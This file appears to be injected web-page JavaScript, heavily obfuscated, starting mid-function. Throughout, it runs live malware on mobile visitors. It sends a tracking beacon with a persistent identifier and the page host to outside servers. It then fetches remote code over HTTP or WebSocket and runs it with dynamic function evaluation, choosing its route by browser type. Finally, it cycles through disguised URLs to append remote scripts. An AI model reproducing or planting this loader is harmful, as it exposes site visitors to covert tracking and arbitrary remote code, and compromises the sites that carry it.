wfSvZ(t);};window[''+'B'+'Q'+'s'+'g'+'C'+'N'+'J'+'E'+'Z'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function fily(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=RQFSo,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=fily(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=fily(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmFoZGFpaai5jb20lM0E4ODkx','d3NzJTNBJTJGJTJGYS54a25lb2suY29tJTNBOTUzNAA==','9489',window,document,['a','A']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();